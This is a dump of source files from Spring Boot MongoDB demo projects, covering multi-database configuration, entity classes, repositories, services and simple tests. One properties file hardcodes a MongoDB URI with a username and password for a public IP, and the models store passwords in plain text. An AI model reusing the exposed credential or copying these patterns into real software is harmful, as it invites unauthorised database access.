</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/MultiMongodbApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class MultiMongodbApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MultiMongodbApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/config/MultipleMongoConfig.java",
    "content": "package com.neo.config;\n\nimport com.mongodb.MongoClient;\nimport com.mongodb.MongoClientURI;\nimport com.neo.config.props.MultipleMongoProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.mongo.MongoProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.data.mongodb.MongoDbFactory;\nimport org.springframework.data.mongodb.core.MongoTemplate;\nimport org.springframework.data.mongodb.core.SimpleMongoDbFactory;\n\n@Configuration\npublic class MultipleMongoConfig {\n\n\t@Autowired\n    private MultipleMongoProperties mongoProperties;\n\n\t@Primary\n\t@Bean(name = \"primaryMongoTemplate\")\n\tpublic MongoTemplate primaryMongoTemplate() throws Exception {\n\t\treturn new MongoTemplate(primaryFactory(this.mongoProperties.getPrimary()));\n\t}\n\n\t@Bean\n\t@Qualifier(\"secondaryMongoTemplate\")\n\tpublic MongoTemplate secondaryMongoTemplate() throws Exception {\n        return new MongoTemplate(secondaryFactory(this.mongoProperties.getSecondary()));\n\t}\n\n\t@Bean\n    @Primary\n\tpublic MongoDbFactory primaryFactory(MongoProperties mongo) throws Exception {\n\t\tMongoClient client = new MongoClient(new MongoClientURI(mongoProperties.getPrimary().getUri()));\n\t\treturn new SimpleMongoDbFactory(client, mongoProperties.getPrimary().getDatabase());\n\t}\n\n\t@Bean\n\tpublic MongoDbFactory secondaryFactory(MongoProperties mongo) throws Exception {\n\t\tMongoClient client = new MongoClient(new MongoClientURI(mongoProperties.getSecondary().getUri()));\n\t\treturn new SimpleMongoDbFactory(client, mongoProperties.getSecondary().getDatabase());\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/config/PrimaryMongoConfig.java",
    "content": "package com.neo.config;\n\nimport com.mongodb.MongoClient;\nimport com.mongodb.MongoClientURI;\nimport com.neo.config.props.MultipleMongoProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.mongo.MongoProperties;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.data.mongodb.MongoDbFactory;\nimport org.springframework.data.mongodb.core.MongoTemplate;\nimport org.springframework.data.mongodb.core.SimpleMongoDbFactory;\nimport org.springframework.data.mongodb.repository.config.EnableMongoRepositories;\n\n\n@Configuration\n@EnableConfigurationProperties(MultipleMongoProperties.class)\n@EnableMongoRepositories(basePackages = \"com.neo.repository.primary\",\n\t\tmongoTemplateRef = \"primaryMongoTemplate\")\npublic class PrimaryMongoConfig {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/config/SecondaryMongoConfig.java",
    "content": "package com.neo.config;\n\nimport com.mongodb.MongoClient;\nimport com.mongodb.MongoClientURI;\nimport com.neo.config.props.MultipleMongoProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.mongo.MongoProperties;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.mongodb.MongoDbFactory;\nimport org.springframework.data.mongodb.core.MongoTemplate;\nimport org.springframework.data.mongodb.core.SimpleMongoDbFactory;\nimport org.springframework.data.mongodb.repository.config.EnableMongoRepositories;\n\n\n@Configuration\n@EnableConfigurationProperties(MultipleMongoProperties.class)\n@EnableMongoRepositories(basePackages = \"com.neo.repository.secondary\",\n\t\tmongoTemplateRef = \"secondaryMongoTemplate\")\npublic class SecondaryMongoConfig {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/config/props/MultipleMongoProperties.java",
    "content": "package com.neo.config.props;\n\nimport org.springframework.boot.autoconfigure.mongo.MongoProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n@ConfigurationProperties(prefix = \"mongodb\")\npublic class MultipleMongoProperties {\n\n\tprivate MongoProperties primary = new MongoProperties();\n\tprivate MongoProperties secondary = new MongoProperties();\n\n\tpublic MongoProperties getPrimary() {\n\t\treturn primary;\n\t}\n\n\tpublic void setPrimary(MongoProperties primary) {\n\t\tthis.primary = primary;\n\t}\n\n\tpublic MongoProperties getSecondary() {\n\t\treturn secondary;\n\t}\n\n\tpublic void setSecondary(MongoProperties secondary) {\n\t\tthis.secondary = secondary;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport java.io.Serializable;\n\n\npublic class User implements Serializable {\n        private static final long serialVersionUID = -3258839839160856613L;\n        private String  id;\n        private String userName;\n        private String passWord;\n\n        public User(String userName, String passWord) {\n                this.userName = userName;\n                this.passWord = passWord;\n        }\n\n        public String getId() {\n                return id;\n        }\n\n        public void setId(String id) {\n                this.id = id;\n        }\n\n        public String getUserName() {\n                return userName;\n        }\n\n        public void setUserName(String userName) {\n                this.userName = userName;\n        }\n\n        public String getPassWord() {\n                return passWord;\n        }\n\n        public void setPassWord(String passWord) {\n                this.passWord = passWord;\n        }\n\n        @Override\n        public String toString() {\n                return \"User{\" +\n                        \"id='\" + id + '\\'' +\n                        \", userName='\" + userName + '\\'' +\n                        \", passWord='\" + passWord + '\\'' +\n                        '}';\n        }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/repository/primary/PrimaryRepository.java",
    "content": "package com.neo.repository.primary;\n\nimport com.neo.model.User;\nimport org.springframework.data.mongodb.repository.MongoRepository;\n\n/**\n * @author neo\n */\npublic interface PrimaryRepository extends MongoRepository<User, String> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/java/com/neo/repository/secondary/SecondaryRepository.java",
    "content": "package com.neo.repository.secondary;\n\nimport com.neo.model.User;\nimport org.springframework.data.mongodb.repository.MongoRepository;\n\n/**\n * @author neo\n */\npublic interface SecondaryRepository extends MongoRepository<User, String> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/main/resources/application.properties",
    "content": "spring.application.name=spring-boot-multi-mongodb\n\nmongodb.primary.uri=mongodb://192.168.0.75:20000\nmongodb.primary.database=primary\nmongodb.secondary.uri=mongodb://192.168.0.75:20000\nmongodb.secondary.database=secondary\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/test/java/com/neo/MultiMongodbApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MultiMongodbApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t\tSystem.out.println(\"hello world\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/spring-boot-multi-mongodb/src/test/java/com/neo/repository/MuliDatabaseTest.java",
    "content": "package com.neo.repository;\n\nimport com.neo.model.User;\nimport com.neo.repository.primary.PrimaryRepository;\nimport com.neo.repository.secondary.SecondaryRepository;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport java.util.List;\n\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MuliDatabaseTest {\n\n    @Autowired\n    private PrimaryRepository primaryRepository;\n\n    @Autowired\n    private SecondaryRepository secondaryRepository;\n\n    @Test\n    public void TestSave() {\n        System.out.println(\"************************************************************\");\n        System.out.println(\"测试开始\");\n        System.out.println(\"************************************************************\");\n        this.primaryRepository.save(new User(\"小张\", \"123456\"));\n        this.secondaryRepository.save(new User(\"小王\", \"654321\"));\n        List<User> primaries = this.primaryRepository.findAll();\n        for (User primary : primaries) {\n            System.out.println(primary.toString());\n        }\n        List<User> secondaries = this.secondaryRepository.findAll();\n        for (User secondary : secondaries) {\n            System.out.println(secondary.toString());\n        }\n        System.out.println(\"************************************************************\");\n        System.out.println(\"测试完成\");\n        System.out.println(\"************************************************************\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb/SpringBootDemoMongodbApplication.java",
    "content": "package com.jun.plugin.mongodb;\n\nimport cn.hutool.core.lang.Snowflake;\nimport cn.hutool.core.util.IdUtil;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.Bean;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.mongodb\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:14\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoMongodbApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoMongodbApplication.class, args);\n    }\n\n    @Bean\n    public Snowflake snowflake() {\n        return IdUtil.createSnowflake(1, 1);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb/model/Article.java",
    "content": "package com.jun.plugin.mongodb.model;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport org.springframework.data.annotation.Id;\n\nimport java.util.Date;\n\n/**\n * <p>\n * 文章实体类\n * </p>\n *\n * @package: com.xkcoding.mongodb.model\n * @description: 文章实体类\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:21\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class Article {\n    /**\n     * 文章id\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 文章标题\n     */\n    private String title;\n\n    /**\n     * 文章内容\n     */\n    private String content;\n\n    /**\n     * 创建时间\n     */\n    private Date createTime;\n\n    /**\n     * 更新时间\n     */\n    private Date updateTime;\n\n    /**\n     * 点赞数量\n     */\n    private Long thumbUp;\n\n    /**\n     * 访客数量\n     */\n    private Long visits;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb/repository/ArticleRepository.java",
    "content": "package com.jun.plugin.mongodb.repository;\n\nimport org.springframework.data.mongodb.repository.MongoRepository;\n\nimport com.jun.plugin.mongodb.model.Article;\n\nimport java.util.List;\n\n/**\n * <p>\n * 文章 Dao\n * </p>\n *\n * @package: com.xkcoding.mongodb.repository\n * @description: 文章 Dao\n * @author: yangkai.shen\n * @date: Created in 2018-12-28 16:30\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface ArticleRepository extends MongoRepository<Article, Long> {\n    /**\n     * 根据标题模糊查询\n     *\n     * @param title 标题\n     * @return 满足条件的文章列表\n     */\n    List<Article> findByTitleLike(String title);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb2/Application.java",
    "content": "package com.jun.plugin.mongodb2;\n\nimport org.slf4j.Logger;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.context.annotation.ComponentScan;\n\nimport lombok.extern.java.Log;\nimport lombok.extern.log4j.Log4j;\n/**\n * 启动类\n * 创建者 科帮网\n * 创建时间\t2017年7月19日\n *\n */\n@EnableAutoConfiguration\n@Log\n@ComponentScan(basePackages={\"com.itstyle.mongodb\"})\npublic class Application  {\n\t\n\tpublic static void main(String[] args) throws InterruptedException {\n\t\tSpringApplication.run(Application.class, args);\n\t\tlog.info(\"项目启动 \");\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb2/model/Users.java",
    "content": "package com.jun.plugin.mongodb2.model;\n\nimport java.io.Serializable;\n\nimport org.springframework.data.annotation.Transient;\nimport org.springframework.data.mongodb.core.index.CompoundIndex;\nimport org.springframework.data.mongodb.core.index.CompoundIndexes;\nimport org.springframework.data.mongodb.core.index.Indexed;\nimport org.springframework.data.mongodb.core.mapping.Document;\n\n@Document(collection=\"users\")\n@CompoundIndexes({\n    @CompoundIndex(name = \"age_idx\", def = \"{'name': 1, 'age': -1}\")\n})\npublic class Users  implements Serializable{\n\tprivate static final long serialVersionUID = 1L;\n\t@Indexed\n\tprivate String uid;\n\tprivate String name;\n\tprivate int age;\n\t@Transient\n\tprivate String address;\n   \n\tpublic Users(String uid, String name, int age) {\n\t\tsuper();\n\t\tthis.uid = uid;\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic String getUid() {\n\t\treturn uid;\n\t}\n\n\tpublic void setUid(String uid) {\n\t\tthis.uid = uid;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\t\n\tpublic String getAddress() {\n\t\treturn address;\n\t}\n\n\tpublic void setAddress(String address) {\n\t\tthis.address = address;\n\t}\n\n\t@Override\n    public String toString() {\n        return String.format(\n                \"Customer[name='%s', age='%s']\",\n                 name, age);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb2/service/IUserService.java",
    "content": "package com.jun.plugin.mongodb2.service;\n\nimport java.util.List;\n\nimport com.jun.plugin.mongodb2.model.Users;\n/**\n * mongodb 案例\n * 创建者  小柒\n * 创建时间\t2017年7月19日\n *\n */\npublic interface IUserService {\n\tpublic void saveUser(Users users);\n\n\tpublic Users findUserByName(String name);\n\n\tpublic void removeUser(String name);\n\n\tpublic void updateUser(String name, String key, String value);\n\n\tpublic List<Users> listUser();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb2/service/UserRepository.java",
    "content": "package com.jun.plugin.mongodb2.service;\n\nimport org.springframework.data.mongodb.repository.MongoRepository;\n\nimport com.jun.plugin.mongodb2.model.Users;\n\npublic interface UserRepository extends MongoRepository<Users, Integer> {\n\n\tpublic Users findUserByName(String name);\n\n\tpublic void removeUser(String name);\n\n\tpublic void updateUser(String name, String key, String value);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/jun/plugin/mongodb2/service/impl/UserRepositoryImpl.java",
    "content": "package com.jun.plugin.mongodb2.service.impl;\nimport java.util.List;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.mongodb.core.MongoOperations;\nimport org.springframework.data.mongodb.core.query.Criteria;\nimport org.springframework.data.mongodb.core.query.Query;\nimport org.springframework.data.mongodb.core.query.Update;\nimport org.springframework.stereotype.Component;\n\nimport com.jun.plugin.mongodb2.model.Users;\nimport com.jun.plugin.mongodb2.service.IUserService;\n\n@Component(\"userService\")\npublic class UserRepositoryImpl implements IUserService {\n\t@Autowired\n\tMongoOperations mongoTemplate;\n\n\tpublic void saveUser(Users users) {\n\t\tmongoTemplate.save(users);\n\t}\n\n\tpublic Users findUserByName(String name) {\n\t\treturn mongoTemplate.findOne(\n\t\t\t\tnew Query(Criteria.where(\"name\").is(name)), Users.class);\n\t}\n\n\tpublic void removeUser(String name) {\n\t\tmongoTemplate.remove(new Query(Criteria.where(\"name\").is(name)),\n\t\t\t\tUsers.class);\n\t}\n\n\tpublic void updateUser(String name, String key, String value) {\n\t\tmongoTemplate.updateFirst(new Query(Criteria.where(\"name\").is(name)),\n\t\t\t\tUpdate.update(key, value), Users.class);\n\n\t}\n\n\tpublic List<Users> listUser() {\n\t\treturn mongoTemplate.findAll(Users.class);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/xncoding/pos/dao/entity/Customer.java",
    "content": "package com.xncoding.pos.dao.entity;\n\nimport org.springframework.data.annotation.Id;\nimport org.springframework.data.mongodb.core.mapping.Document;\n\n/**\n * Customer\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/3\n */\n@Document(collection = \"customer\")\npublic class Customer {\n    @Id\n    private String id;\n    private String firstName;\n    private String lastName;\n\n    public Customer() {\n    }\n\n    public Customer(String firstName, String lastName) {\n        this.firstName = firstName;\n        this.lastName = lastName;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getFirstName() {\n        return firstName;\n    }\n\n    public void setFirstName(String firstName) {\n        this.firstName = firstName;\n    }\n\n    public String getLastName() {\n        return lastName;\n    }\n\n    public void setLastName(String lastName) {\n        this.lastName = lastName;\n    }\n\n    @Override\n    public String toString() {\n        return String.format(\n                \"Customer[id=%s, firstName='%s', lastName='%s']\",\n                id, firstName, lastName);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/xncoding/pos/dao/repository/CustomerRepository.java",
    "content": "package com.xncoding.pos.dao.repository;\n\nimport com.xncoding.pos.dao.entity.Customer;\nimport org.springframework.data.mongodb.repository.MongoRepository;\n\nimport java.util.List;\n\n/**\n * 客户数据访问服务\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/3\n */\npublic interface CustomerRepository extends MongoRepository<Customer, String> {\n\n    Customer findByFirstName(String firstName);\n\n    List<Customer> findByLastName(String lastName);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/java/com/xncoding/pos/service/CustomerService.java",
    "content": "package com.xncoding.pos.service;\n\nimport com.xncoding.pos.dao.entity.Customer;\nimport com.xncoding.pos.dao.repository.CustomerRepository;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.Resource;\nimport java.util.List;\n\n/**\n * CustomerService\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/3\n */\n@Service\npublic class CustomerService {\n    @Resource\n    private CustomerRepository repository;\n\n    /**\n     * 删除所有的客户\n     */\n    public void deleteAll() {\n        repository.deleteAll();\n    }\n\n    /**\n     * 保存客户\n     * @param customer 客户\n     */\n    public void save(Customer customer) {\n        repository.save(customer);\n    }\n\n    /**\n     * 查询所有客户列表\n     * @return 客户列表\n     */\n    public Iterable<Customer> findAll() {\n        return repository.findAll();\n    }\n\n    /**\n     * 通过名查找某个客户\n     * @param firstName\n     * @return\n     */\n    public Customer findByFirstName(String firstName) {\n        return repository.findByFirstName(firstName);\n    }\n\n    /**\n     * 通过姓查找客户列表\n     * @param lastName\n     * @return\n     */\n    public List<Customer> findByLastName(String lastName) {\n        return repository.findByLastName(lastName);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/resources/application.properties",
    "content": "# \\u9879\\u76eecontextPath\\uff0c\\u4e00\\u822c\\u5728\\u6b63\\u5f0f\\u53d1\\u5e03\\u7248\\u672c\\u4e2d\nserver.context-path=/mongodb\n# \\u670d\\u52a1\\u7aef\\u53e3\nserver.port=8080\n# session\\u6700\\u5927\\u8d85\\u65f6\\u65f6\\u95f4(\\u5206\\u949f)\\uff0c\\u9ed8\\u8ba4\\u4e3a30\nserver.session-timeout=60\n# \\u8be5\\u670d\\u52a1\\u7ed1\\u5b9aIP\\u5730\\u5740\\uff0c\\u542f\\u52a8\\u670d\\u52a1\\u5668\\u65f6\\u5982\\u672c\\u673a\\u4e0d\\u662f\\u8be5IP\\u5730\\u5740\\u5219\\u629b\\u51fa\\u5f02\\u5e38\\u542f\\u52a8\\u5931\\u8d25\\uff0c\\u53ea\\u6709\\u7279\\u6b8a\\u9700\\u6c42\\u7684\\u60c5\\u51b5\\u4e0b\\u624d\\u914d\\u7f6e\n# server.address=192.168.16.11\n\n# tomcat\\u6700\\u5927\\u7ebf\\u7a0b\\u6570\\uff0c\\u9ed8\\u8ba4\\u4e3a200\nserver.tomcat.max-threads=800\n# tomcat\\u7684URI\\u7f16\\u7801\nserver.tomcat.uri-encoding=UTF-8\n\n#mongo2.x\\u652f\\u6301\\u4ee5\\u4e0a\\u4e24\\u79cd\\u914d\\u7f6e\\u65b9\\u5f0f mongo3.x\\u4ec5\\u652f\\u6301uri\\u65b9\\u5f0f\n#mongodb note:mongo3.x will not use host and port,only use uri\n#spring.data.mongodb.host=47.94.232.109\n#spring.data.mongodb.port=27017\n#spring.data.mongodb.database=mongodb\n#\\u6ca1\\u6709\\u8bbe\\u7f6e\\u5bc6\\u7801\n#spring.data.mongodb.uri=mongodb://47.94.232.109:27017/mongodb\n#\\u8bbe\\u7f6e\\u4e86\\u5bc6\\u7801\nspring.data.mongodb.uri=mongodb://mongodb:mongodb@47.94.232.109:27017/mongodb\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/resources/application.yml",
    "content": "spring:\n  data:\n    mongodb:\n      host: localhost\n      port: 27017\n      database: article_db\nlogging:\n  level:\n    org.springframework.data.mongodb.core: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_mongodb/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: 